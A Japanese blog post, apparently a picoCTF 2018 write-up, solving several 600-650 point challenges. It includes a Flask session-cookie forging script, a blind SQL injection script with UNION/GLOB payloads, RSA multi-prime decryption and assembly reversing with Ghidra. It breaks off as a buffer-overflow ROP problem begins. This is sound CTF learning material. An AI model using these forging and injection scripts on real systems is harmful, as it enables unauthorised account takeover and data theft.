好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF2018 600~650pt問題のwrite-up

picoCTF 2018 の write-up 600, 650点問題編。

第二子出産後初のCTF投稿!実はこの記事は8割くらい出産前に書いてました。残りは例によってReversing, Binary(Pwn)。今回も手こずりましたが、また新しいツールを使ってみたり出来たので良かったです(๑•̀ㅂ•́)و
今回新しく出会ったツールは以下の2つ。以前からtwitterやwrite-upで見かけていたけど手を出していなかったものたちです。

  • Ghidra
  • ROPgadget
    • ROPに使用できるgadgetを探したり、chainを組んだりしてくれる

ここまで来たら、今年のpicoCTF開催までに完走したい!あと10問!!どうやらWeb, Binary系がまだ結構残ってるみたいです。

f:id:kusuwada:20190801120111p:plain:w400

なんとなく終りが見えてきたかな?

550点問題まではこちら。

kusuwada.hatenablog.com

kusuwada.hatenablog.com

kusuwada.hatenablog.com

kusuwada.hatenablog.com

kusuwada.hatenablog.com

kusuwada.hatenablog.com

[Web] Flaskcards Skeleton Key (600pt)

Nice! You found out they were sending the Secret_key: 06f4eefabf03b8f4e521fbdada13f65c. Now, can you find a way to log in as admin? http://2018shell.picoctf.com:5953 (link).

ほうほう、secret_key がわかってる状態で、adminにログインしてねってことかな?
リンクに飛んでみるとこんなページが。

f:id:kusuwada:20190801123341p:plain

Flaskcards とあるので、flaskのフレームワークで動いている様子。flaskのsecret_keyに関する問題はこれまでに見た気がするぞ…!

まずは指示通りRegister -> Sign in してみます。
Sign in時のcookie (username: kusuwada, password: test) は以下

session: .eJwlj13KAjEMAO_SZx-StE1aL7Ok-UERFHb16eO7uwseYJiZv7LlHsetXN_7Jy5lu3u5FuNgZqs8Jy2AGLyoLWy6hgFCIyUQRg3o5hpkJr50pk837o4z1-grow00CCBPCRfW2sWiRgK1HF3dZvVsp2I4OUg04PBEKpdix57b-_WI59kDxNORzqIaGsqCs6YCV2siMpcsGojRT-5zxP6bQCz_X24TP_U.D8e36A.HbX3Tir51h5KhvVBDn37aFKXKeM
remember_token: 11|accf8b1ec99b2f4c64b7f0da8b3c40391d0b595b2c34fe1e361e39470a9101bcaf91e64f293103e5b206ef659fb65aac50a2617a86fa59faf5f05a030d29e261
cookie: 2FIiQPmvneqpOUacJ45DCVau+bu5WeZKKc7frghlLxkRGwJE2ilvwPYLIY8qxp4o6/1SsloVihpcm40WMhKKhdcB//iWn1B699joS3qM0hw=

サイトの機能を一通りいじって「なんか凄く見た問題なぁ」なんて思っていたら、350pt問題で使っていたサイトと全く同じだった!

picoCTF2018 300~350pt問題のwrite-up - 好奇心の足跡

前回の問題は、secret_keyがそれがそのままflagになっていましたが、今回はそこからsessionを改ざんしてadmin用のsessionにしてあげる必要がありそうです。前回も参考にした下記サイトを参考にやってみます。
CTF的 Flaskに対する攻撃まとめ - Qiita

まず、Siginin状態でのcookie sessionbase64 decodeしてみます。

なお、セッションの中身が大きくなると zlib で圧縮され、その時には先頭に . が付きます。

とのことなので、zlibで解凍してからbase64してやります。

{
    "_fresh": true,
    "_id": "c6e666c36992b00e86b24b14ab8c01042a20761ae05cdae2cc7dba9fd9dc65d19fb85bfe481c0e02df7ed76a357ce3ef024f85adc93df42b08d2d07e406edf12",
    "csrf_token": "0269d126c33eaea67193fa063c47779b7b2811e5",
    "user_id": "11"
}

ここで、secret_key と一般ユーザーのsessionがわかったので、これをadmin用に改ざんします。
ツールも色々落ちているようですが、上記のページのコードをちょっといじって書き換えに挑戦してみます。
今回、kusuwadaのuser_id11でしたが、adminは01かな?ということで、可能性がありそうなものを試してみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# this code is refer to bellow site
#   https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f#flask-%E3%81%AE%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E6%94%B9%E3%81%96%E3%82%93

import zlib
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode, URLSafeTimedSerializer

secret_key = '06f4eefabf03b8f4e521fbdada13f65c'
user_cookie = '.eJwlj13KAjEMAO_SZx-StE1aL7Ok-UERFHb16eO7uwseYJiZv7LlHsetXN_7Jy5lu3u5FuNgZqs8Jy2AGLyoLWy6hgFCIyUQRg3o5hpkJr50pk837o4z1-grow00CCBPCRfW2sWiRgK1HF3dZvVsp2I4OUg04PBEKpdix57b-_WI59kDxNORzqIaGsqCs6YCV2siMpcsGojRT-5zxP6bQCz_X24TP_U.D8e36A.HbX3Tir51h5KhvVBDn37aFKXKeM'

class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    # NOTE: Override method
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )

class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)

    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)

# main
user_session = FlaskSessionCookieManager.decode(secret_key, user_cookie)
print(user_session)
admin_session = user_session
admin_session['user_id'] = '1'
print(admin_session)
admin_cookie = FlaskSessionCookieManager.encode(secret_key, admin_session)
print(admin_cookie)

実行結果

$ python solve.py 
{'_fresh': True, '_id': 'c6e666c36992b00e86b24b14ab8c01042a20761ae05cdae2cc7dba9fd9dc65d19fb85bfe481c0e02df7ed76a357ce3ef024f85adc93df42b08d2d07e406edf12', 'csrf_token': '0269d126c33eaea67193fa063c47779b7b2811e5', 'user_id': '11'}
{'_fresh': True, '_id': 'c6e666c36992b00e86b24b14ab8c01042a20761ae05cdae2cc7dba9fd9dc65d19fb85bfe481c0e02df7ed76a357ce3ef024f85adc93df42b08d2d07e406edf12', 'csrf_token': '0269d126c33eaea67193fa063c47779b7b2811e5', 'user_id': '1'}
--- admin cookie ---
.eJwlj13KAjEMAO_SZx-StE1aL7Ok-UERFHb16eO7uwseYJiZv7LlHsetXN_7Jy5lu3u5FuNgZqs8Jy2AGLyoLWy6hgFCIyUQRg3o5hpkJr50pk837o4z1-grow00CCBPCRfW2sWiRgK1HF3dZvVsp2I4OUg04PBEKpdix57b-_WI59kDxNORzqIaGsqCs6YCV2siMpcsGojRT-5zxP6bwPL_BS5bP8Q.XOYrhw.K3pFo73j91vKldovKaUY91W2sKk

ここで作成したadmin用のcookieを使って、admin用path (/admin) にアクセスしてみます。

$ curl http://2018shell.picoctf.com:5953/admin -H "Cookie: session=.eJwlj13KAjEMAO_SZx-StE1aL7Ok-UERFHb16eO7uwseYJiZv7LlHsetXN_7Jy5lu3u5FuNgZqs8Jy2AGLyoLWy6hgFCIyUQRg3o5hpkJr50pk837o4z1-grow00CCBPCRfW2sWiRgK1HF3dZvVsp2I4OUg04PBEKpdix57b-_WI59kDxNORzqIaGsqCs6YCV2siMpcsGojRT-5zxP6bwPL_BS5bP8Q.XOYm6A.L8eY0u4s1QICxpbVrGIeI800kas"

応答(抜粋)

<p> Your flag is: picoCTF{1_id_to_rule_them_all_1879a381} </p>

350pt問題で消化不良感のあった問題でしたが、sessionの改ざんまで出来てよかった!!٩(๑❛ᴗ❛๑)۶ 

[Web] Help Me Reset 2 (600pt)

There is a website running at http://2018shell.picoctf.com:45948 (link). We need to get into any user for a flag!

Hints

Try looking past the typical vulnerabilities. Think about possible programming mistakes.

ざっとサイトを確認してみます。
Topページ

f:id:kusuwada:20190801123832p:plain

なかなか気合の入ったページです。
Loginページ

f:id:kusuwada:20190801123850p:plain

今回はregister機能がないため、実在するユーザーしかログインでき無さそう。
ほか、パスワードを忘れたときの救済用っぽいページ

f:id:kusuwada:20190801123934p:plain

ためしに admin と入れてみると、そんなユーザーはいないと怒られます。

f:id:kusuwada:20190801124000p:plain

タイトルから察するに、このパスワードリセット機能を悪用するような気がする。

さて、topページのソースをよく見てみると、下の方にコメントが有る。

<!--Proudly maintained by meacham-->

ほう?もしかしてこのユーザー、実在するんじゃないかしら?
ということで、forgot passwordのページに入れてみます。

f:id:kusuwada:20190801124038p:plain

おお!質問が変わったよ!いわゆる「秘密の質問」ですね。
ここで推測による答えで通るのであれば、世界的に有名な答えに違いない。

ここを参考にしまして、色々試しました。

この4つの質問から出されます。3回失敗でユーザーがロックされてしまいます。ユーザーが変わると答えが変わるっぽいので、2回失敗したらCancel -> 同じユーザーでやり直しで答えを確定していきました。
運良くユーザーと秘密の質問に対する答えがわかった問題が3回連続で出たので、正しい答えを3回入力するとこんなページが。

f:id:kusuwada:20190801124111p:plain

パスワードをリセットして

f:id:kusuwada:20190801124129p:plain

ログインするとプロフィールページが表示され、flagが表示されました!

f:id:kusuwada:20190801124203p:plain

しかしこの問題、解けた人は多かったようですが、結構時間かかった…。特に、好きな料理は選択肢が多すぎて無理…!
今回の解き方は想定解だったのかなー?

[Crypto] Super Safe RSA 3 (600pt)

The more primes, the safer.. right.?.? Connect with nc 2018shell.picoctf.com 54915.

言われたhostにつないでみます。

$ nc 2018shell.picoctf.com 54915
c: 91810179806808204022717064857442590030430918286257217884469701070479168083906564675401143279365733183658834246970749167954701939869545718542894079520720783076716603218725385623051979924554779018276612966170811980986553178336094724795969259910069392841868236455081617435958753242491563988292639355451968656
n: 153744414361474688347194748563188771319978137015865223065837500550487886126563235280190643373993710200819403174998541972716021122926578611053576135887868860266164986456732202330119363073631953405064643244323845771811754988175352099420013813047213758835051198366621380055345309564381218018450192315945959709
e: 65537

問題の文言から、素因数が多いと安全…何だっけ?と言っているように見えます。
RSA multi prime あたりで検索をかけると、これに対する攻撃が出てきました。

いつもお世話になっているももいろテクノロジーさんや、₍₍ (ง ˘ω˘ )ว ⁾⁾ < 暗号楽しいですさんにも解説がありました。

RSAは何もp,qの2つの素数でないといけないわけではない。多変数に拡張されたRSA暗号を、Multi-Prime RSAと呼ぶ。

この Multi-prime RSA が使われていることを期待して、nを素因数分解してみます。
今回はまず、下記のサイトに投げてみました。

factordb.com

しかし、どうもflagまでたどり着けません…。試行錯誤の末、他の方法でここで出た結果を更に素因数分解した結果、もっと細かく分解できることが判明しました。ということで、このサイトだと素因数分解しきれないことがあるようです。今回みたいにprimeがたくさんある場合はほぼしきれていない。

ということで、Msieveをつかって素因数分解してみます。今回は19秒で終わりました。ちなみに他のnで試行したときは、20分以上経っても終わりませんでした。進捗率的に数時間掛かりそうな勢いだった…。こんなに計算時間が違うなら、値を新しくもらうのもありですね。

$ ./msieve -q -v -e 153744414361474688347194748563188771319978137015865223065837500550487886126563235280190643373993710200819403174998541972716021122926578611053576135887868860266164986456732202330119363073631953405064643244323845771811754988175352099420013813047213758835051198366621380055345309564381218018450192315945959709


Msieve v. 1.53 (SVN Unversioned directory)
Fri May 24 12:45:20 2019
(中略)

recovered 63 nontrivial dependencies
p10 factor: 2156963099
p10 factor: 2315852579
p10 factor: 2332870511
p10 factor: 2375409851
p10 factor: 2707396969
p10 factor: 2902624363
p10 factor: 2920298341
p10 factor: 2923657879
p10 factor: 3030904033
p10 factor: 3083027263
p10 factor: 3219966307
p10 factor: 3292030283
p10 factor: 3365475053
p10 factor: 3540971663
p10 factor: 3600752513
p10 factor: 3623880451
p10 factor: 3771492797
p10 factor: 3775338103
p10 factor: 3874187657
p10 factor: 3895380331
p10 factor: 3961707137
p10 factor: 3977755069
p10 factor: 3979667039
p10 factor: 4078103639
p10 factor: 4130678371
p10 factor: 4157165609
p10 factor: 4184417771
p10 factor: 4208920799
p10 factor: 4223871851
p10 factor: 4223925263
p10 factor: 4224587683
p10 factor: 4290011779
elapsed time 00:00:19

あとは、得られた素因数たちを使って復号してやります。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import gmpy2

c =  91810179806808204022717064857442590030430918286257217884469701070479168083906564675401143279365733183658834246970749167954701939869545718542894079520720783076716603218725385623051979924554779018276612966170811980986553178336094724795969259910069392841868236455081617435958753242491563988292639355451968656
n = 153744414361474688347194748563188771319978137015865223065837500550487886126563235280190643373993710200819403174998541972716021122926578611053576135887868860266164986456732202330119363073631953405064643244323845771811754988175352099420013813047213758835051198366621380055345309564381218018450192315945959709
e = 65537

primes = [2156963099, 2315852579, 2332870511, 2375409851, 2707396969, 2902624363, 2920298341, 2923657879, 3030904033, 3083027263, 3219966307, 3292030283, 3365475053, 3540971663, 3600752513, 3623880451, 3771492797, 3775338103, 3874187657, 3895380331, 3961707137, 3977755069, 3979667039, 4078103639, 4130678371, 4157165609, 4184417771, 4208920799, 4223871851, 4223925263, 4224587683, 4290011779]

totient = 1

for p in primes:
    totient *= (p-1)

d = gmpy2.invert(e, totient)
m = pow(c, d, n)
print(m)
print(bytes.fromhex(hex(m)[2:]).decode())

実行結果

$ python solve.py
13016382529449106065908111207362094589157720258852086801305724587409899022136957
picoCTF{p_&_q_n0_r_$_t!!_2380536}

[Reverse] special-pw (600pt)

Can you figure out the right argument to this program to login? We couldn't manage to get a copy of the binary but we did manage to dump some machine code and memory from the running process.

下記のファイルが落とせました。アセンブラのよう。

.intel_syntax noprefix
.bits 32
    
.global main    ; int main(int argc, char **argv)

main:
    push   ebp
    mov    ebp,esp
    sub    esp,0x10
    mov    DWORD PTR [ebp-0xc],0x0
    mov    eax,DWORD PTR [ebp+0xc]
    mov    eax,DWORD PTR [eax+0x4]
    mov    DWORD PTR [ebp-0x4],eax
    jmp    part_b
part_a:
    add    DWORD PTR [ebp-0xc],0x1
    add    DWORD PTR [ebp-0x4],0x1
part_b: 
    mov    eax,DWORD PTR [ebp-0x4]
    movzx  eax,BYTE PTR [eax]
    test   al,al
    jne    part_a
    mov    DWORD PTR [ebp-0x8],0x0
    jmp    part_d
part_c: 
    mov    eax,DWORD PTR [ebp+0xc]
    add    eax,0x4
    mov    edx,DWORD PTR [eax]
    mov    eax,DWORD PTR [ebp-0x8]
    add    eax,edx
    mov    DWORD PTR [ebp-0x4],eax
    mov    eax,DWORD PTR [ebp-0x4]
    movzx  eax,BYTE PTR [eax]
    xor    eax,0x66
    mov    edx,eax
    mov    eax,DWORD PTR [ebp-0x4]
    mov    BYTE PTR [eax],dl
    mov    eax,DWORD PTR [ebp-0x4]
    movzx  eax,WORD PTR [eax]
    ror    ax,0xf
    mov    edx,eax
    mov    eax,DWORD PTR [ebp-0x4]
    mov    WORD PTR [eax],dx
    mov    eax,DWORD PTR [ebp-0x4]
    mov    eax,DWORD PTR [eax]
    rol    eax,0xa
    mov    edx,eax
    mov    eax,DWORD PTR [ebp-0x4]
    mov    DWORD PTR [eax],edx
    add    DWORD PTR [ebp-0x8],0x1
part_d: 
    mov    eax,DWORD PTR [ebp-0xc]
    sub    eax,0x3
    cmp    eax,DWORD PTR [ebp-0x8]
    jg     part_c
    mov    eax,DWORD PTR [ebp+0xc]
    mov    eax,DWORD PTR [eax+0x4]
    mov    DWORD PTR [ebp-0x4],eax
    mov    DWORD PTR [ebp-0x10],0x59b617b
    jmp    part_f
part_e: 
    mov    eax,DWORD PTR [ebp-0x4]
    movzx  edx,BYTE PTR [eax]
    mov    eax,DWORD PTR [ebp-0x10]
    movzx  eax,BYTE PTR [eax]
    cmp    dl,al
    je     part_k
    mov    eax,0x0
    jmp    part_h
part_k: 
    add    DWORD PTR [ebp-0x4],0x1
    add    DWORD PTR [ebp-0x10],0x1
part_f: 
    mov    eax,DWORD PTR [ebp-0x10]
    movzx  eax,BYTE PTR [eax]
    test   al,al
    jne    part_e
    mov    eax,DWORD PTR [ebp+0xc]
    add    eax,0x4
    mov    eax,DWORD PTR [eax]
    mov    edx,DWORD PTR [ebp-0x10]
    mov    ecx,0x59b617b
    sub    edx,ecx
    add    eax,edx
    movzx  eax,BYTE PTR [eax]
    test   al,al
    je     part_g
    mov    eax,0x0          ; LOGIN_FAILED
    jmp    part_h
part_g: 
    mov    eax,0x1          ; LOGIN_SUCCESS
part_h: 
    leave
    ret



059B617B:  bd 0e 50 1b ef 9e 16 d1  7d e5 c1 55 c9 7f cf 21   |..P.....}..U...!|
059B618B:  c5 99 51 d5 7d c9 c5 9d  21 d3 7d c1 cd d9 95 8f   |..Q.}...!.}.....|
059B619B:  91 99 97 c5 f5 d1 2d d5  00                        |......-..|

loginするための正しい引数がわかるかい?という問題。最後のバイナリダンプっぽいものは、実行中のプロセスのメモリダンプだそう。
解けている人数が少ないので、迷わずヒントを見ます。

Hmmm maybe if we do the reverse of each operation we can get the password?

そう、そんな気はするんだけど、アセンブラ部分が長くてやる気が起こらない…。
ものすごくざっと見た感じ。mainで引数のセット、part_bに飛び、条件に合うまでpart_aの処理を繰り返し、条件に合致したらpart_dに飛ぶ。part_dではpart_cの処理を実施、part_fに飛ぶ。part_cでは主な処理として、xor, ror, rol が実施されている。partfでは、条件を満たすまでpart_eの処理を実施、別の条件が満たされればpart_gに飛んでLogin成功、満たされていない場合はpart_hに飛んでログイン失敗。
途中に出てくるアドレス 0x59b617b はdumpされているアドレスと一致しています。

アセンブラを勉強したいわけでもないので、なんとか楽に解く方法を考えます。他の問題で、与えられたアセンブラコンパイルして実行する問題がありました。今回もコンパイルに挑戦してみます。
今回も32bitのようなので、前の問題で入れておいた32bit版の kali-linuxコンパイルしました。

コンパイル元のソースは、問題文から下記部分を変更します。

  • 最後のメモリダンプ部分を削除
  • 途中のコメント部分を削除
  • メモリダンプ部分を.dataに登録、そこを参照するようにコードを変更
  • 32bitということなので、.bits 32の部分を .code32に変更

最終的にこうなりました。

.intel_syntax noprefix
.code32

.global main

main:
    push   ebp
    mov    ebp,esp
    sub    esp,0x10
    mov    DWORD PTR [ebp-0xc],0x0
    mov    eax,DWORD PTR [ebp+0xc]
    mov    eax,DWORD PTR [eax+0x4]
    mov    DWORD PTR [ebp-0x4],eax
    jmp    part_b
part_a:
    add    DWORD PTR [ebp-0xc],0x1
    add    DWORD PTR [ebp-0x4],0x1
part_b: 
    mov    eax,DWORD PTR [ebp-0x4]
    movzx  eax,BYTE PTR [eax]
    test   al,al
    jne    part_a
    mov    DWORD PTR [ebp-0x8],0x0
    jmp    part_d
part_c: 
    mov    eax,DWORD PTR [ebp+0xc]
    add    eax,0x4
    mov    edx,DWORD PTR [eax]
    mov    eax,DWORD PTR [ebp-0x8]
    add    eax,edx
    mov    DWORD PTR [ebp-0x4],eax
    mov    eax,DWORD PTR [ebp-0x4]
    movzx  eax,BYTE PTR [eax]
    xor    eax,0x66
    mov    edx,eax
    mov    eax,DWORD PTR [ebp-0x4]
    mov    BYTE PTR [eax],dl
    mov    eax,DWORD PTR [ebp-0x4]
    movzx  eax,WORD PTR [eax]
    ror    ax,0xf
    mov    edx,eax
    mov    eax,DWORD PTR [ebp-0x4]
    mov    WORD PTR [eax],dx
    mov    eax,DWORD PTR [ebp-0x4]
    mov    eax,DWORD PTR [eax]
    rol    eax,0xa
    mov    edx,eax
    mov    eax,DWORD PTR [ebp-0x4]
    mov    DWORD PTR [eax],edx
    add    DWORD PTR [ebp-0x8],0x1
part_d: 
    mov    eax,DWORD PTR [ebp-0xc]
    sub    eax,0x3
    cmp    eax,DWORD PTR [ebp-0x8]
    jg     part_c
    mov    eax,DWORD PTR [ebp+0xc]
    mov    eax,DWORD PTR [eax+0x4]
    mov    DWORD PTR [ebp-0x4],eax
    mov    DWORD PTR [ebp-0x10], OFFSET dump_data
    jmp    part_f
part_e: 
    mov    eax,DWORD PTR [ebp-0x4]
    movzx  edx,BYTE PTR [eax]
    mov    eax,DWORD PTR [ebp-0x10]
    movzx  eax,BYTE PTR [eax]
    cmp    dl,al
    je     part_k
    mov    eax,0x0
    jmp    part_h
part_k: 
    add    DWORD PTR [ebp-0x4],0x1
    add    DWORD PTR [ebp-0x10],0x1
part_f: 
    mov    eax,DWORD PTR [ebp-0x10]
    movzx  eax,BYTE PTR [eax]
    test   al,al
    jne    part_e
    mov    eax,DWORD PTR [ebp+0xc]
    add    eax,0x4
    mov    eax,DWORD PTR [eax]
    mov    edx,DWORD PTR [ebp-0x10]
    mov    ecx,OFFSET dump_data
    sub    edx,ecx
    add    eax,edx
    movzx  eax,BYTE PTR [eax]
    test   al,al
    je     part_g
    mov    eax,0x0
    jmp    part_h
part_g: 
    mov    eax,0x1
part_h: 
    leave
    ret

.data
dump_data:
.byte 0xbd
.byte 0x0e
.byte 0x50
.byte 0x1b
.byte 0xef
.byte 0x9e
.byte 0x16
.byte 0xd1
.byte 0x7d
.byte 0xe5
.byte 0xc1
.byte 0x55
.byte 0xc9
.byte 0x7f
.byte 0xcf
.byte 0x21
.byte 0xc5
.byte 0x99
.byte 0x51
.byte 0xd5
.byte 0x7d
.byte 0xc9
.byte 0xc5
.byte 0x9d
.byte 0x21
.byte 0xd3
.byte 0x7d
.byte 0xc1
.byte 0xcd
.byte 0xd9
.byte 0x95
.byte 0x8f
.byte 0x91
.byte 0x99
.byte 0x97
.byte 0xc5
.byte 0xf5
.byte 0xd1
.byte 0x2d
.byte 0xd5
.byte 0x00

コンパイルして実行してみます。

$ gcc -m32 -g assm.S -o assm.o
$ ls
assm.S  assm.o
$ file assm.o
assm.o: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=140cabe63a0a426b01264b876c158c9533668cce, with debug_info, not stripped
$ ./assm.o
Segmentation fault
$ ./assm.o aaaaa

実行ファイルが出来ました。引数なしで実行してみるとSegFault、引数を付けると何も起きずに終了します。
この実行ファイルのcかなんかのコードがほしいのです。ということで、ちょっと前に発表されていて話題になっていた Ghidra に解析させてみることにしました!

projectを作成し、実行ファイルをimport。

f:id:kusuwada:20190801125509p:plain

解析してもらいます。

f:id:kusuwada:20190801125524p:plain

コードが出てきました。

f:id:kusuwada:20190801125547p:plain

uint main(undefined4 param_1,int param_2)

{
  uint *puVar1;
  char *local_14;
  int local_10;
  int local_c;
  char *local_8;
  
  local_10 = 0;
  local_8 = *(char **)(param_2 + 4);
  while (*local_8 != '\0') {
    local_10 = local_10 + 1;
    local_8 = local_8 + 1;
  }
  local_c = 0;
  while (local_c < local_10 + -3) {
    puVar1 = (uint *)(local_c + *(int *)(param_2 + 4));
    *(byte *)puVar1 = *(byte *)puVar1 ^ 0x66;
    *(ushort *)puVar1 = *(ushort *)puVar1 >> 0xf | *(ushort *)puVar1 << 1;
    *puVar1 = *puVar1 << 10 | *puVar1 >> 0x16;
    local_c = local_c + 1;
  }
  local_8 = *(char **)(param_2 + 4);
  local_14 = &dump_data;
  while( true ) {
    if (*local_14 == '\0') {
      return (uint)(local_14[*(int *)(param_2 + 4) + -0x14018] == '\0');
    }
    if (*local_8 != *local_14) break;
    local_8 = local_8 + 1;
    local_14 = local_14 + 1;
  }
  return 0;
}

これならなんとか読めそう。

引数(param2)を一文字ずつ(引数の長さ-3まで)処理。0x66とXOR -> 2文字分をビット右回転(0xf) -> 4文字分をビット左回転(0xa)
実質 dump_data が暗号化された引数で、引数からlocal_8を生成するプロセスが暗号化のプロセスになっています。

この逆をやればフラグが出そう。今回、ROR,ROLのコードは下記からお借りしました。

gyeongje.tistory.com

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import codecs
import struct

dump_data = b"bd0e501bef9e16d17de5c155c97fcf21c59951d57dc9c59d21d37dc1cdd9958f919997c5f5d12dd500"

# ROL,ROR code are from https://gyeongje.tistory.com/353
def ROL(data, shift, size=32):
    shift %= size
    remains = data >> (size - shift)
    body = (data << shift) - (remains << size )
    return (body + remains)

def ROR(data, shift, size=32):
    shift %= size
    body = data >> shift
    remains = (data << (size - shift)) - (body << size)
    return (body + remains)

# main
enc_arg = bytearray(codecs.decode(dump_data, 'hex_codec'))

for i in range(len(enc_arg)-5, -1, -1):
    # ROR, (32bit)
    t = struct.unpack('<I', enc_arg[i:i+4])[0]
    t = ROR(t, 10, 32) # 0xa
    enc_arg[i:i+4] = bytearray(struct.pack('<I', t))
    
    # ROL, ushort(16bit)
    t = struct.unpack('<H', enc_arg[i:i+2])[0]
    t = ROL(t, 15, 16) # 0xf
    enc_arg[i:i+2] = bytearray(struct.pack('<H', t))
    
    # XOR
    enc_arg[i] = enc_arg[i] ^ 0x66

print(enc_arg)

実行結果

$ python solve.py 
bytearray(b'picoCTF{gEt_y0Ur_sH1fT5_r1gHt_036ecdfe1}\x00')

出た!╭( ・ㅂ・)و ̑̑
Ghidra、チュートリアルを読みながらやってみたけど、まだまだ使いこなすには修業が必要そうだ。

[Web] A Simple Question (650pt)

There is a website running at http://2018shell.picoctf.com:28120 (link). Try to see if you can answer its question.

やけに沢山の人が解いてます、この問題。

Topページはこんな感じ。

f:id:kusuwada:20190801131733p:plain

いきなり答えは?と聞かれています。
このページのソースの中に、怪しいコメントがいました。

<!-- source code is in answer2.phps -->

http://2018shell.picoctf.com:28120/answer2.phps を直リンク指定して飛んでみると、コードが見えます。

<?php
  include "config.php";
  ini_set('error_reporting', E_ALL);
  ini_set('display_errors', 'On');

  $answer = $_POST["answer"];
  $debug = $_POST["debug"];
  $query = "SELECT * FROM answers WHERE answer='$answer'";
  echo "<pre>";
  echo "SQL query: ", htmlspecialchars($query), "\n";
  echo "</pre>";
?>
<?php
  $con = new SQLite3($database_file);
  $result = $con->query($query);

  $row = $result->fetchArray();
  if($answer == $CANARY)  {
    echo "<h1>Perfect!</h1>";
    echo "<p>Your flag is: $FLAG</p>";
  }
  elseif ($row) {
    echo "<h1>You are so close.</h1>";
  } else {
    echo "<h1>Wrong.</h1>";
  }
?>

このコードを見る限り、SQL injectionが有効そうです。
"SELECT * FROM answers WHERE answer='$answer'"のクエリで得られたレコードが空でない場合、You are so close.と表示され、空だった場合はWrongが表示されます。また、クエリが実際どう組み立てられたかは、親切にも表示してくれるみたいです(◍•ᴗ•◍) 
試しに、全レコードが$rowに入ってくるはずの下記をanswerに送ってみます。

answer' OR 1 == 1;

f:id:kusuwada:20190801131857p:plain

ソースコードの方の最後の分岐、データが空ではなかった場合にでるエラー文言が出てきました٩(๑❛ᴗ❛๑)۶ 
効いてます!

しかし、flagを表示してもらうためには$CANARYを当てないといけないようです。
ここで、クエリの実行結果が、空か空じゃなかったかがわかるエラー文言を表示してくれることがわかっているので、頭から一文字ずつ試していき、頭の文字が当たっていればレコードを抜いてくる、すなわちYou are so closeが表示され、違っていたらWrongが表示されるような攻撃をします。典型的なブライドSQLインジェクションです。

今回は文字列のパターンマッチに、SQLiteGLOB 関数を使いました。詳細は こちら

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
import string

url = "http://2018shell.picoctf.com:28120/answer2.php"
wrong_msg = 'Wrong.'
close_msg = 'You are so close.'

candidates = string.printable

def attack(attack_msg):
    payload = {'answer': attack_msg}
    res = requests.post(url, data=payload)
    if wrong_msg in res.text:
        return False
    elif close_msg in res.text:
        print('Hit!: ' + attack_msg)
        return True
    else:
        print('CANARY: ' + attack_msg)
        print(res.text)
        raise Exception('error.')

# main
canary = ''
for i in range(100):
    for c in candidates:
        attack_msg = "' UNION SELECT * FROM answers WHERE answer GLOB '"
        attack_msg += canary + c
        attack_msg += "*'; --"
        print(attack_msg)
        if attack(attack_msg):
            canary += c
            attack(canary)
            break

実行結果

$ python solve.py 
' UNION SELECT * FROM answers WHERE answer GLOB '0*'; --
' UNION SELECT * FROM answers WHERE answer GLOB '1*'; --
' UNION SELECT * FROM answers WHERE answer GLOB '2*'; --
(中略)
' UNION SELECT * FROM answers WHERE answer GLOB '41AndSixSixthq*'; --
' UNION SELECT * FROM answers WHERE answer GLOB '41AndSixSixthr*'; --
' UNION SELECT * FROM answers WHERE answer GLOB '41AndSixSixths*'; --
Hit!: ' UNION SELECT * FROM answers WHERE answer GLOB '41AndSixSixths*'; --
CANARY: 41AndSixSixths
<br />
<b>Notice</b>:  Undefined index: debug in <b>/problems/a-simple-question_0_cb5aee694c05cc51db8ca0efccc19133/webroot/answer2.php</b> on line <b>7</b><br />
<pre>SQL query: SELECT * FROM answers WHERE answer='41AndSixSixths'
</pre><h1>Perfect!</h1><p>Your flag is: picoCTF{qu3stions_ar3_h4rd_73139cd9}</p>
(略)

いえーい!確かにこの問題は解ける人が多そうだ。点数配分・・・(ಠ_ಠ)
ちなみに raise Exception で動作をとめるという荒業をしているので、実行結果の最後はもっと汚い…。

[Binary] can-you-gets-me (650pt)

Can you exploit the following program to get a flag? You may need to think return-oriented if you want to program your way to the flag. You can find the program in /problems/can-you-gets-me_1_e66172cf5b6d25fffee62caf02c24c3d on the shell server. Source.

Hint

This is a classic gets ROP

入手できるのは、下記のコードと実行ファイル。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("GIVE ME YOUR NAME!\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  
}

終盤にしては短めです。
vuln()関数の gets に BufferOverflow の脆弱性があります。

shell serverの指定されたディレクトリを覗いてみると、同ディレクトリにflag.txt様がいらっしゃいました。flagをとる際はshell server上で実施、ですね。

$ ls                      
flag.txt  gets  gets.c

試しに実行してみます。

$ ./gets 
GIVE ME YOUR NAME!
kusuwada

名前を入れたらそのまま終了。ソースコードの通りの挙動です。

ヒントより、ROPを使うことが想定されているようなので、bufferoverflowを利用してROP chainを組み、shellを取ってflag.txtを覗くのが道順っぽい。

ROP系の問題は過去いくつか解いたことがありましたが、今回のは解けなさそうだった&間が空いてしまったので復習しました。

